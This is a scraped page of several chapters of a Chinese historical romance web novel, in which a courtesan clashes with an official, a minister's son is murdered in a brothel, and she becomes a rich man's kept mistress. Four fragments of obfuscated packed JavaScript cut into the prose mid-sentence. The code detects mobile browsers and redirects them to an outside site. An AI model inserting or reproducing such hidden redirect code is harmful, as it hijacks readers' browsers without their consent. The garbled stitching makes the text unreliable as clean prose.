d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268948|182216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我，你舍得么？” 这问题问得实在刁钻。 赵若晖愣在原地，不知该如何作答。他深知沈容远与晚娘之间有那样深的过节，可若是厌恶晚娘，他为何又要这样问？ 刚才那份“礼物”没能让沈容远点头，赵若晖本就惴惴不安，脑子里一团乱麻，张开口也不知如何圆场。 晚娘简直是有些厌烦了。 这姓沈的，还真是步步紧逼，不留半点余地。有本事他找他老子去！逮着她为难算什么男人！ 她深吸一口气，缓缓抬起头，知道这赵公子也是个不成器的，她指望不上。她脸上没有窘迫，漾开一抹笑：“大人说笑了。你既然和赵公子是朋友，他哪里会不舍得呢？” 赵若晖被他这么一提醒，连忙附和道：“是是！今天本就是给你庆贺嘛，只要你高兴，看上谁都行！” 沈容远盯着晚娘，笑一笑道：“如此，你就过来吧。” 晚娘自然而然过去，在沈容远身侧落座，倒了一杯酒：“大人，我不晓诗书，言语若有冒犯，还请海涵。” 她话虽客气，沈容远却明明白白听出了她心怀不屑，却不得不屈意奉迎。 他装作听不出来：“哪里有？你说话，已是很中听的了。” …… 席间气氛总算缓和下来，众人又开始推杯换盏。酒过三巡，厢间渐渐活络。晚娘被灌了不少酒，脸颊泛起一层薄红。她本就妩媚，此时沾染两三分醉态，真是勾人魂魄。 她肆意说笑，心里却清醒得很。 自他落座，身旁那位爷的目光就时不时凝在她身上。如芒在背，如针刺骨。 晚娘心烦，又只能故意装作什么也不知道，越来越不自在。 此时借着喝醉的名头，她索性转过头迎上他的目光，酒意壮胆后，她也敢用挑衅的语气轻声问：“大人，你为什么一直看我？” 沈容远微微一怔，咽下入口的酒，放下酒杯。 他神情很快又恢复平静，声音带着冷意，清晰而凛冽：“我只是在想，你这样的女子，实在没必要与我父亲纠缠。” 晚娘脸上笑意凝固，也不再装模作样，不明不白轻笑一声，不理会他这话。 只听沈容远继续道：“他年事已高，你跟着他没好处。若你是为了什么，大可和我说，我替他给你——和他断了吧。” 晚娘嗤笑一声。 她就知道。他今夜种种刁难，不就是觉得她为了钱财，恬不知耻缠着他那半截入土的爹不放吗？ 她想要什么……她想要的，他就一定能给吗？…… “你笑什么？”沈容远冷声问。 晚娘那双眸子氤氲着沈容远看不明白的情绪，一字一句笑问：“你问我想要什么？……我想进你沈家的门，做你沈家的人。不知道，沈大人能满足我吗？” 5. 箫声咽（五）） “……” 沉默实在太久。晚娘以为沈容远不会再回答她了。 她腮上的挑衅未退，似笑非笑望着沈容远，看他又默默喝下一口酒。 突然，沈容远说了句她意料之外的话。他的声音带着嘲弄，却不像是在嘲她，反倒像自嘲。 “进沈家的门有什么好？你这样的女人，为何要自讨苦吃？我父亲不是可托付终身的人，早些死心吧。” 晚娘微诧。 沈容远这番话，听着真像是为她着想。 她就那么看着沈容远，想看清楚他是不是要捉弄她。她被捉弄了太多次，早就不愿去信旁人了。 但沈容远好像不想再和她说什么了。 他起身，走了两步，同醉眼朦胧的赵若晖道了句：“时辰不早，我明日还有公务，先回去了。” “别啊！” 赵若晖抓住沈容远袖袍，嘟囔道：“别……别着急走啊。” 他确实喝醉了，说话的时候声音没压住，满堂听得清楚：“……怀安，你是不是看不上我啊？……我知道的，我知道你们都看不起我。你是如此，我父亲也是如此，我知道的……可是我没办法。” 他的声音伤感，鼻音厚重。 沈容远居高临下盯着他，许久，抓住他的手，缓缓把自己的衣袖抽出来。 “你喝醉了。我叫人上来扶你。” “我不要人来扶！沈怀安，你说清楚！你是不是，是不是一直看不起我……啊？？” 谁料赵若晖不服，一下站起身来。身子摇晃不稳，手指却直指着沈容远，大喝道：“你别以为我什么都不知道！我想和你做兄弟，你却瞧不起我！”他眼眶有些泛红，确实委屈。 坏了。 晚娘见状，忙起身上前，心道赵公子这是喝醉了要发酒疯。 她走过去，伸出手想扶赵若晖胳膊：“……赵公子，有什么不能慢慢说？沈大人他没有这个意思的……” “他就是有！” “让他说！” 两道高喝一声压过一声，晚娘吓得手缩回来。 她惶惶无措看向沈容远，沈容远没看她，只是冰冷道：“你让他说，我听着。” 赵若晖整张脸涨得通红。可沈容远这么一说，他又半晌说不出话来了。 于是愤愤坐下，抬手给自己倒了一大碗酒，咕嘟咕嘟灌下去，放了句一点儿都不厉害的狠话：“反正，我这辈子就你一个兄弟！你就算看我不上，我也要和你沈怀安打一辈子交道！” “……” 晚娘无话可说。只觉得这些衙内公子真是有意思。 她盯着怒气冲冲又窝囊不敢发火的赵若晖，忽然没忍住，笑了一声。 一道凛冽视线登时朝她投来。沈容远盯着她，问：“很有意思？” “……啊。没。” 行了，这几位爷她都招惹不起。 晚娘想出去透口气，于是借机殷勤对沈容远道：“沈大人，你是要走？我送你下去可好？” 沈容远：“……” 他没应声，实在是不想再搭理她，只冷横她一眼，不像是在看活物。 随后，自顾自掀了帘子出去。 他身后，晚娘讨了个没趣，默默翻了个白眼。 她本来许愿，再也不要见到这个清高不可一世的人。又想想，她是要进沈家门的，只能退而求其次，求沈容远永远都装作看不见她。 她正腹诽着，忽闻廊上另一个包厢里，传来一声女人尖锐至极的惨呼。 “啊——” 声音凄厉，一时许多包厢门打开，不知多少个脑袋朝着声音方向望过去。 沈容远刚出房门的脚步，也随之一顿。 紧接着，楼里响起杂乱急促的脚步声，片刻之后，龟公变了调的惊呼又传入众人耳中：“杀人了！有贼人杀人了！” 丝竹声停，笑语声歇。整座楼死寂一瞬，随即处处慌乱。晚娘心中一紧，揪着帕子，不敢出声。 随即，她看见沈容远没有迟疑，抬脚便朝出事的厢房走过去。 这沈大人，还真是大胆。晚娘忙三步并两步追上去，拉住沈容远衣袖：“沈大人莫去！” 沈容远回头看她。 “楼里出了再大的事，自然有官府来查，有鸨母去担着！沈大人今日是来客，何必蹚浑水，招惹了晦气上身？” 她话语急切，倒是出自真心想劝住沈容远。 这就是晚娘的好，纵使和沈容远合不来，但他今日是她的客人，她便不愿意他惹上麻烦。 沈容远视线落在她牵着他衣袖的手上，过了半晌，只不咸不淡道：“我毕竟是官身，只去看一眼，若真是贼人作案，好早些去报了县衙处置。” 晚娘没再说话，过了会儿，才松开手。 沈容远耐心同她解释了，就接着往廊上那头走。晚娘瞧着他走进去，心一横，也跟着过去。 长廊尽头，包厢门大敞着。 里外都围了不少人，沈容远走进去，血腥气息扑面而来。 “这可怎么好……”楼里龟公在一旁失魂落魄，不知如何处置，竟连报官都忘了。 沈容远瞥过他，又看向那具尸体。 他原本是平静的，之所以过来，也是想着同朝为官，若他能亲眼记下什么，县衙审起案子也可少些麻烦。 但他越看，越觉得不对劲。 这尸体…… 怎如此熟悉？ 沈容远记起些什么，面色骤然一白。他不顾旁人惊异目光，大步走上前，伸手将还未僵硬的尸体翻过来。 在看清楚尸首面容的一瞬间，沈容远呼吸凝滞，心跳极速加快。 怎么会是他？ 一柄匕首，直直插在男尸胸膛，要了他的性命。沈容远眼神一凛，伸手握住刀柄，将匕首拔了出来。 还没等他看清楚刀柄上纹样，身后响起赵若晖声音：“怀安？怎么了？” 赵若晖被动静惊动，也闻声赶过来。他醉眼朦胧，摇摇晃晃挤进来，看见沈容远手中那柄带血匕首，一下酒醒了大半。 他对上沈容远难看到极点的神色，弄不清怎么回事。 “都别围在这儿！” 沈容远喝了声。他起身，转向赵若晖，压低声音，几乎咬牙道：“你瞧瞧，死的是谁？” 赵若晖这才将目光投向地上的尸体，他凑近了些，待看清那张脸，同样大惊失色：“怎么……怎么会是这个……怎么是他？” 在场只有他们二人知晓。 被刺死在翠香楼的人，竟然是吏部尚书独子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268949|182216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肖正则。 …… 二人皆无言许久，面色凝重。 堂堂吏部尚书公子，被人在这等人声鼎沸的地方刺死，凶手还一瞬之间无影无踪。 沈容远深深呼吸，忽哑声对赵若晖道：“去叫人，把刚刚在这厢房里的妓女拿住，问一番，若有可疑的，送往大理寺……明日，不得安宁。” 赵若晖张了张口。 他瞧沈容远神色，也知他此事心里定五味杂陈。 吏部尚书肖帆熵，称得上沈容远的贵人，平日为人处世也和蔼。 可今夜，他唯一的独子死在这儿。 “你们认出他是谁？” 晚娘在门口听了好一阵，终于按捺不住好奇，想走进来看。她还没走几步，沈容远猛然上前，身影挡在她身前，一把抓住她胳膊。 他力度极大，狠狠拽着她，将她拽出去。 晚娘一惊，又吃痛：“你做什么……放开我！” “我说了，都别进来，你没听见？” 沈容远盯着她，一字一顿，“你今夜听见不该听的，看见不该看的，明日就该横死街头。不想活了么？” …… “不看就不看嘛。人家也不是故意的。”见沈容远不像是开玩笑，晚娘气势一下子弱了许多，嘟囔道。 沈容远和她说不清，转身进包厢，顺手拉上门。 门在晚娘鼻尖前关上。 四周人声戚戚，晚娘心里却还装着沈容远刚才那张吓死人的脸。 什么凶杀案，死了什么人，她都没工夫再去注意。 只是捂着胸口，半晌才不忿又不甘地嗤了声，提裙转身快步走了。 —— 第二日，翠香楼就封了楼。 官府的人来得快，也多，赶母鸡似的把晚娘等一众姑娘都赶了出去。 她们只得暂在河边另一家窑子里待着。晚娘自昨夜起就没吃东西，一肚子气饱了。 此时，才觉得有些饿了，便唤了碗粥，一个人吃。 吃着吃着，一个女子娉娉婷婷朝她走过来，婀娜多姿，面带讥诮：“哟，你还有心思吃饭呐？昨夜你闹出的笑话，都在楼里传开了。嗤，也真是不嫌丢脸。” 晚娘不理她。 那女子不罢休，接着说：“还以为你手段高明得很。从老子兜里掏银子，又能勾了儿子的心去。谁曾想，人家沈大人可不给你半点面子，直叫你下不来台吧。” 她嗤笑：“也就是妈妈蠢，还指望着你能帮她靠上赵公子。你弄这么一出，如今她也里外不是人了。” …… 晚娘搁了筷子。 她抬眼，盯着柳云娘，似笑非笑：“我再怎么下不来台，三日挣的银子顶上你半月。昨日那场宴，妈妈不叫我去，难道叫你去不成？” 她似是想起什么，轻轻不屑一笑：“她估计倒是想让你去。可惜上次来一个芝麻官，就叫你一双腿肚子发抖，站都站不稳。她怎么还敢让你去见户部侍郎的公子？你大度些，也别怪她。” 柳云娘一张秀丽的脸，由白转青。 周围不少姑娘听见她们说话，吃吃捂嘴笑起来。 柳云娘环顾四周，怒火中烧，爪子朝着晚娘脸颊撕抓来：“我让你张狂！没了这张脸，看你拿什么傲气！” 6. 箫声咽（六） 晚娘不怕她打。 她连避也没避，只微微抬起下巴，“你打。我让你打，你敢动手吗？这儿的规矩你不是不知道，若是被翠香楼逐出去了，这条街上的窑子，有哪个会要你？” 柳云娘举在半空中的手落不下来，又收不回去。她忍受着讥笑，瞪着晚娘，“你以为你是什么贵人？……你打量着，我们都忘了你从前那些丑事？” 晚娘抿了抿唇。 她视线落在柳云娘那张因为怒火妒气混杂而扭曲的脸，冷笑一声，问：“我什么丑事？有胆子，你就说出来。” 柳云娘一顿，忍了忍，还是没忍住。 “说就说！哼，那年你和那个书生多要好啊，估计他也答应你，功成名就就娶你过门做奶奶吧！真是笑死人了。可怜你痴心苦等，最后等到个什么？你本就是个痴心妄想的人，这时候又装什么云淡风轻！” 晚娘凝视着她。 有那么一瞬，她是真的想抄起剪子，杀了这柳云娘。 她没有这么做。可她同样不想再说什么话了。 真是许久不曾有人在她面前提起这件事。兴许鸨母的告诫起了些作用，也没人想上赶着得罪晚娘。 此时柳云娘乍一提起，还真是陈年旧怨，都如血一般徐徐缓缓渗出来。 她就这么看着柳云娘，柳云娘越发得意，觉得戳到了晚娘痛处，“要我说么，大家都不是体面的人，就少拿架子装样子。你那些花招，男人看不出，我们可看得清楚！” 晚娘垂下眼，她有些嘲怨地盯着地面，手中绕着一缕发丝。过了半晌，才轻哼一声，抬起头。 “你……” “吵什么！” 鸨母踩着阶梯，咯吱咯吱走上来。 方才柳云娘的话，她听得一清二楚。待到进门，当即什么也不顾，先冲上来瞧准柳云娘脸颊就是一巴掌。 “啊！——” 柳云娘被扇得踉踉跄跄几步，捂着脸在一旁呜咽，愈发恨毒了晚娘。 “呸！没心肝的小娼妇！我三令五申的话，你转头就丢到一边！打你一巴掌都是轻的！若再让我听到你嘴里不干不净，瞧我不让你哭爹喊娘！” 柳云娘只是哭，不说话。 晚娘没什么反应，鸨母转向她，同样没好气，“你也是！楼里吵架拌嘴常有，你明知道她是个什么东西，作甚要去搭理她？活该！” 晚娘深深叹一声，“照着妈妈这话，有什么气都往肚里吞，怄死算了。” 鸨母瞧她完全没把自己话听进去，也气道：“你既这么说，便是不服我管教了？也是，姑娘翅膀硬了，哪里还肯听我的话呢？只盼着哟，早日有人赎了你去，那就阿弥陀佛了！” 晚娘默默吸一口气，忍了又忍，却觉得没必要再忍。 她抬眼，与鸨母对视，讥笑道：“妈妈本不必盼，眼看着这几天的事。” 鸨母一愣，“……你说什么？” 晚娘声音不大，却因在场众人屏气凝神，格外掷地有声，“既有妈妈这一番话，我就是跪碎了膝盖，也要求沈员外给我赎身，一定会。” 她轻轻打量四周，浅笑却话冷，“这个地方，我一日……不，一瞬都不想再待下去。” —— 到傍晚，晚娘就想法子递了消息到沈宅。沈宅里有几个小厮长随曾是受过她好处的，这种小忙也乐意帮。 沈老爷听到消息，颠颠地就跑过来。 上二楼，见到晚娘，晚娘已经垂泪不语。沈老爷心疼得跟什么似的，一把将晚娘揽入怀中，“怎么要哭？是谁又给了你委屈受？” “是你！”晚娘抬眼，哀怨盯着他，“不是说要给我赎身？那日说的板上钉钉，怎么又没消息了？可见你又是在哄我！” 这是一间小厢房，四周无人。沈老爷看了一转，压低声音有些为难地对晚娘道：“你也知道，我家那夫人，脾气不好……她……” “那你就不管我死活了？”晚娘虽掩着面，可说话却连贯。 她见沈老爷犹豫不决，知道得再施展点手段。 她纤纤玉指搭在沈老爷肩头上，“……沈郎，你也知道，我是爱慕你的。要不然我为何放着万人追捧的日子不要，非要跟你？……可到头来，你却这样对我，真是好叫我伤心。” 沈老爷默然不语。 晚娘把他推了推，不再哭，咬唇善解人意道：“我也知道你的难处。可是鸨母对我日渐刁难，我实在待不下去了……你想个法子嘛。” 想法子？ 沈老爷倒是也想想出个两全其美的法子。 可家中妻室实在太过强势，他又能怎么办？他虽然不算是个清醒人，但总不能为了晚娘和妻子撕破脸？ 若是那样，他可真成了这京师城里头等的笑话了。 这般想着，沈老爷有些烦躁，“你莫催，容我想想。” 晚娘依偎在他身边，手中绕着根丝帕，也不言语，任他想。 她觉得，这姓沈的今日多半也是想不出办法。 不过不怕，待她一日日软磨硬泡，不怕姓沈的不松口。 她这般想，心中松快许多。嘴中哼起首曲子，过了许久，斜眼看沈老爷，推了他一把，“我说，你想出办法没有？” 沈老爷长叹一声，似乎下了狠心，“你若一定要跟着我，就只能先当外室！” 外室？ 晚娘一愣。 随即失笑。 姓沈的想了这么半天，还真叫他寻到个法子。 至于外室嘛……晚娘想了又想，觉得虽然名头不好听，但也不是不可。 她现在着急离了翠香楼，别管外室还是小妾，只要姓沈的肯带她走，都成。 她下了决断，眼睛随即眯成一条月牙，对着沈老爷笑道：“……你便这样打发我？也罢也罢，我不过是想跟着你，哪里在乎那些名分呢？外室就外室吧。” 沈老爷脸上半分轻松神色也没有，看着晚娘抑制不住的喜悦神色，叹一声，又故作严肃道：“……你若答应，那就这么办。只不过我丑话说到前头，此事暂时不能让我夫人知道，你也别声张。我自会派下人来伺候你，没事你少出门。” 晚娘浑不在意，“知道了。放心，我不让你难做。” 她急着催沈老爷去和鸨母谈自己赎身的价钱，沈老爷拗不过她，就出了门。 晚娘真是满心欢喜。 六年。 她在这地方足足熬了六年，眼瞧着，终于是要出去了。 为人外室又怎样？她还怕过不好日子吗？ 只是欣喜之余，脑子里不由自主又飘进来一句话：“进沈家的门有什么好？你这样的女人，为何要自讨苦吃？” 这话是谁说的来着？ 哦，沈容远。 晚娘哼笑一声，满不在乎。沈大少爷不过是不想让她进门，编出这样的话，以为她会信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268950|182216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么？ 沈家再是龙潭虎穴，总比窑子要强上许多倍……她不怕。 …… 谈晚娘赎身的价钱，又是一番风波。 老鸨子自然不肯低价放人，高价沈老爷又不大舍得，拉拉扯扯磨锯子般好几个来回，终于敲定。 老鸨子来的时候，晚娘一瞧她脸色，便知道没把自己卖成个好价钱。 她装作看不出来，问：“怎么，妈妈想同我说什么？” 鸨母眼神有些复杂，打量了晚娘许久，走进门来，坐到桌旁，缓声道：“……我原本的意思，是不想让你这个时候走的。你也知道，开窑子不是白砸钱进去，你正是赚钱的时候，要我说，沈老爷不出这个数，休想带你走。” 她给晚娘伸出指头比了个数，晚娘装作没看到。 “但我也知道，你是铁了心不想在这儿待了。”鸨母长叹，“也罢，相逢一场，好聚好散。不过我的规矩，你人走了，这楼里的东西，可一样不许带走。” 晚娘凝视她一阵，笑了笑，“妈妈放心，我懂的。” 虽说没几分真心，但她还是朝着鸨母福了福身，“承蒙妈妈教导一场，我记着这份恩情。” 鸨母瞧着她，瞧了这屋子一圈，欲言又止。 最终，她只道了句：“出了这地方，你和我们就不是一路人。我盼着你好，也指望你收敛些脾气。男人图个新鲜，别太把自己当回事。” 晚娘扬唇，“好。” 当夜，晚娘就开始收拾东西。 要收拾的也没什么，大多数东西她都带不走，也不过是几件衣物，几支她自己打的首饰。 她来翠香楼的时候，什么也没带。血泪里打滚这么多年，也只得了这几样东西。 不要紧，都不要紧。 从楼里出去后，日子还长，她什么都会有的。……什么都会有的。 身后传来细细碎碎声响。 “真没想到。” 一个略带仇怨的声音飘过来。晚娘回头，见柳云娘正咬唇看着她。 晚娘面不改色心不跳，“怎么？” 柳云娘扬起下巴，咽了口唾沫，“……凭什么？” “什么凭什么？” “我们一同到这楼里来，你和我凭什么不一样？” “……” 晚娘觉得好笑。她问柳云娘，“你到底为什么恨我？我也没招惹过你。” 柳云娘不答了。她胸膛中堵着一口气，别过脸，“我就是不甘心。” “没什么好不甘心的。看准了，使些手段，谁说你就出不去？” “……” “我原本也是可以的。”柳云娘忽然嘲了一句。 “什么意思？”晚娘问。 “你知道，那晚死的人是谁吗？”柳云娘的声音有些飘忽，却又带着丝丝缕缕遗恨，“是京中尚书的独子。” “妈妈本来说，等他喝醉了，让我去伺候。谁知道呢，谁知道他就那么死了呢？” 柳云娘嗤嗤笑起来，“可见，我果真命不好。天大的机会在眼前，也抓不住。” 尚书独子。 晚娘愣了好一阵，才明白过来，为什么那晚沈容远会露出那般神色，对她说“听到就得死”这样的话。 原来如此。 人的思绪很奇怪，只那一瞬，晚娘心里忽然就升起个别样念头： 沈容远，是不想她被人害死么…… 7. 箫声咽（七） 隔日一早，沈家的马车就停在楼前，预备着接晚娘走。 晚娘下台阶的时候，四面静悄悄的。楼里的人大多还没醒，也没人出来相送。 并不是晚娘讨人嫌，姑娘们忙自己的生意累了整宿，哪个起得来去顾旁人呢？ 她就这么穿着一身素衣，梳着个包髻，手中拎着个小包袱，悄无声息迈出了门槛。 这一步落下，晚娘心里那扭曲的愁绪也随之烟消云散。 外头天还未大亮，灰蒙蒙青蒙蒙，街上没什么人。 门户都紧闭着，偶尔几声鸟叫，自天的那边传来。鸟叫悲怆，晚娘的心里却是亮堂堂。 她这辈子，不会再是青楼里的姑娘了。 “娘子，天冷，上车吧。” 沈老爷派了一辆马车过来，车上随了一个车夫。车夫立在车边等候，见晚娘来，吸吸鼻子，低声催促。 晚娘微微回过神，笑道：“好。” 穿过棋盘街，又绕过几条巷子，约莫也就一炷香的时间，马车便晃悠着停下。车夫下车给晚娘搬凳子，趁此机会，晚娘掀开帘子朝外头看了一眼，待看清宅子是什么样，心中少不了有些失落。 这不是座宽敞的宅院。 大概两进，看上去许久未曾住过人，只草草打扫过一遍。 院门口没站人，晚娘踩着凳子下去，慢慢往里面走。一个人估量着穿过游廊，才见一间屋子前坐着个丫鬟。 丫鬟手中捧着瓜子，有一搭没一搭地磕。她开始还没注意到晚娘，等到晚娘走到她跟前，把晚娘瞧了又瞧，才挤出个笑，慢悠悠站起身。 “这就是小夫人吧？” 小夫人。 这个称呼实在有些陌生。 晚娘也把她看了看，才点点头，不卑不亢，“是。我就是小夫人。” 丫鬟脸上笑容一刹不那么自在，但她为了不让晚娘瞧出来，便转过身，引着晚娘往一处走。 “老爷一早吩咐过，叫我好好伺候小夫人。我带您到屋子里去。” 晚娘没吱声，跟着她走。 一路上，晚娘眼睛没停，将这座宅院瞧了个仔细。这院子的确有些窄，不算大气，但也能住。 她没说什么，前头那丫鬟倒频频回过头来看她，似乎猜到她在想什么，含糊不清道： “老爷说了，这院子不大，小夫人将就着住。……但我想着，小夫人从前是和旁人挤惯了的，这院子也算……” 这话有些不屑，有觉得晚娘欲求不满的意思了。 晚娘站住脚。 丫鬟诧异望着她。 晚娘：“你叫什么名字？” “……素儿。” “好。素儿。你从前应该是在沈宅做事？是伺候主子的丫鬟，还是洒扫打杂的粗使下人？” 素儿面上浮现些羞惭，不好意思，但又不得不答：“我从前在院子里，只是……只是扫地的丫头。但我——” “我知道了。”晚娘打断她，朝着她走近几步，微微歪头问：“那你应该，不曾能近主子的身旁伺候吧。” 素儿咬唇，不言。 晚娘接着对她道：“不管我从前是什么人，可如今，我算是你的主子。我不指望你要多尊敬我，但有些话我不愿意听，你也就不要说。” 素儿嚅嗫半晌，未曾说得出话，只能道句，“知道了。” 晚娘知道她心里必然有许多说不清的心绪，也不去多为难她。 毕竟自己的出身不算好听，既然选择这条路，总少不了要听别人闲话，和这个小丫头较劲也无用。 她进了屋。 屋子里没多的摆设，一妆台，一铜镜。床上被褥枕头齐全，想来沈老爷也吩咐准备过，但没多用心。 晚娘原本就不指望他能有多用心。 她在镜子前坐定，瞧了瞧镜中的自己，又看看这家具紧凑但还算干净的屋子，扬声对着外头唤：“素儿！” 脚步声不情不愿。 “来了。” 晚娘等素儿来，站起身，故作不经意问：“老爷可曾来过？留下银钱没有？” “……不曾来过。银钱倒是有，就在小夫人您手底下那个抽屉里。” 晚娘把抽屉拉开，果真发现两锭银子。 银子在她掌心颠了颠，晚娘很满意，对素儿道：“走吧，随我上街去。” “做什么？” 晚娘白她一眼，“我总得有些胭脂，有几样像样首饰？不然老爷过来，我就这么素面朝天去见他？” 素儿这才明白，悻悻笑了笑，不吱声。 她估计在想，果真是烟花之地出来的女人，见钱眼开。初来乍到么，也不装一装羞涩内敛，说话做事都不像大户人家的样子。 晚娘懒得再和她讲什么，人活一世，要紧的不就是吃穿住行？她率先走出去，穿过曲折回廊。墙上从另一侧探出来根树枝，因着秋日渐深，叶片枯黄凋零，飘飘然落了一片在晚娘行过去的脚步旁。 出了门，宅子离街上不远，两人就走过去。 晚娘寻到一个首饰铺，抬脚迈进门槛。掌柜上来迎接，晚娘四处转了转，毫不客气，颐指气使地吩咐掌柜包了几样，又指使素儿拿着出去。 倒真像个阔家夫人了。 买过东西，二人往外走，晚娘觉得有些累，就到一个茶铺子去买茶水吃。 一盏热茶交到她手中，还未喝上一口，就听见不远处一个熟悉声音。 “仲元，不必远送。” 晚娘手一抖，滚烫茶水差点儿泼出来。她回头，视线穿过数不清的人影，落在茶铺外头，一座酒楼门前的身影上。 沈容远。 晚娘心头一紧，恰巧素儿这时候走进来，嘟嚷道：“小夫人，咱们什么时候回去？今晚老爷要过来，可别耽误了时辰……” 她声音不算小，或许是太紧绷，晚娘甚至觉得沈容远听见了，要往这边看。 晚娘忙上前拽住素儿，将她拉进茶棚深处。 素儿一脸莫名其妙，不知道晚娘为何一副大敌当前模样，“怎么了？……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268951|182216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>晚娘瞪她，“阎王来了！” “……” 沈容远似乎察觉到什么，朝茶棚的方向看了一眼，什么也没瞧见。他移开视线，对着眼前人再一礼，“多谢今日款待。……老师家中出了此事，你我心中都不好受，改日应当相约前去老师家中探望。” 那人一袭青衣，容貌不显，很客气，也有些伤怀，“自然，自然。” …… 他二人都算是吏部尚书肖帆熵的学生。老师痛失独子，一时之间，都觉得千言万语难以说尽。 沈容远没什么可说的，便想转身走。 那人忽然叫住他，问了句：“怀安啊，你说，此事会不会是阁老……” 沈容远打断他：“真凶何人，自有三司去查，你我不要妄加议论的好。” 那人喃喃点头，有些怅然若失。 …… 晚娘在另一头，时不时小心翼翼探出头去看。直至确定沈容远真的走了，才拉着素儿站出来，长松一口气，有些庆幸。 她慢条斯理抚了抚鬓发。素儿顺着晚娘视线看去，惊呼，“那不是大公子吗？” 晚娘横她一眼，“喊什么？就你认得出？” 她朝前走了几步，听见素儿在她身后嘀咕，“……神气什么？不还是见不得人，怕大公子看见你吗？” “……” 此时街上人声鼎沸，四处烟火混着日头白光点点迸溅，晚娘立于其中。她回头，对素儿扬起一个笑，“你是在为谁抱不平？” 素儿不吭声。 晚娘：“若你是为你家夫人抱不平，那没必要。老天造女人下来，谁比谁难捱？若你家老爷是个一心一意的，我哪里会有机会？我不是好命，顾不得旁人，只顾得上给自己挣机会。再说了，没有我也有旁人，我固然不算好人，但也不会愧疚。” “若你，是为你家大公子抱不平——” 晚娘噗嗤笑一声，眸光闪烁，上上下下看素儿，“那，除了你喜欢他，我实在想不出来为什么。” 素儿一张脸瞬间羞红，“你说什么？！没有的事……” 晚娘笑起来，肆意张扬，引得街上行人频回头。 …… 茶棚后头，一个人唇角微微一扬。 沈容远站在茶铺后，将她们对话一字一句听了个清楚，叹了一声，也不知该做何感想。 一个物件忘在酒楼，他回来拿，却不料撞见晚娘说这番话。 他起初觉得有些好笑，晚娘做的不算光彩事，倒是会给自己找冠冕堂皇理由。笑完了，又觉得有些莫名其妙的、他也说不清楚的念头。 是什么，难道他要觉得她值得怜悯吗？ …… 但细细想来，今日他总算，也看见了她像个活人的一面。她本不是个乖顺的人，她说话会含尖带刺，会生气还要装作不在意。 沈容远仰头，眯起眼，缓缓舒出口胸膛中一股浊气。 不知为何，他觉得有些舒坦。不是为晚娘，是为他自己。可悲，可叹，又同病相怜。 8. 箫声咽（八） 沈容远很自在地从茶棚后边走出去。 晚娘正调侃脸颊绯红的素儿，没注意身后走出来个人。 沈容远叫了她一声，问她：“你这下，可算是称心如意了？” 晚娘吓了一跳。从哪儿又冒出来这么个声音？她回头，看见是沈容远，真不知该作何反应。 合着自己方才那番话，都被他听了去？ 她盯着沈容远，先是不好意思，随即心里又生出几分被戏弄的气愤。于是她转为瞪着他，理直气壮道：“是。可不是称心如意么？” 沈容远呵出一声戏谑，“如意了就好。给他做外室，可是再舒服不过的事了。” 晚娘听出来沈容远笑她，任他笑。她指尖绕着丝帕，满不在乎，“舒服是舒服的。但你若偏要告诉你娘，我是潇洒不成了，也不会放过你。” 她在威胁他。 沈容远走上前两步，微微压眸，“你，能怎么不放过我？” “……” 晚娘咬牙。 她此生遇见沈容远，真是个孽事。 但也没办法，沈容远要真是把她的事告诉沈夫人，她肯定没好日子过。晚娘一不做二不休，仰起脖子，回瞪，“听说你们家妻妾和睦，安宁许多年了？我告诉你，你若是不让我好过，我可是要惹事出来的。” 沈容远点点头，慢条斯理，“哦，闹什么事？说出来我权衡一下？” 晚娘无语。 她嘶嘶一笑，“沈大人真是好闲，大街上同我说这些话。怎么？前几天翠香楼的凶手抓着了？没事做了？” 沈容远不甘示弱，很快接话，“耽误不了工夫。既然你打定主意，那我没什么好劝的。好自为之……晚娘。” 这是他第一次叫她的名字。 晚娘笑了，很骄傲，阴阳怪气把曾经和沈容远说过的话，又说了一遍，“沈大人，我的日子么，不用你操心。我能过得好。” 沈容远视线在她身上停留一瞬，离开。 “但愿如此。” 回到宅子里，晚娘坐在屋里，还望着窗外树上出神。 她不太明白沈容远。 按理说，他父亲讨了那么几房妾，他早就应该习惯了，怎么还偏和她过不去？ 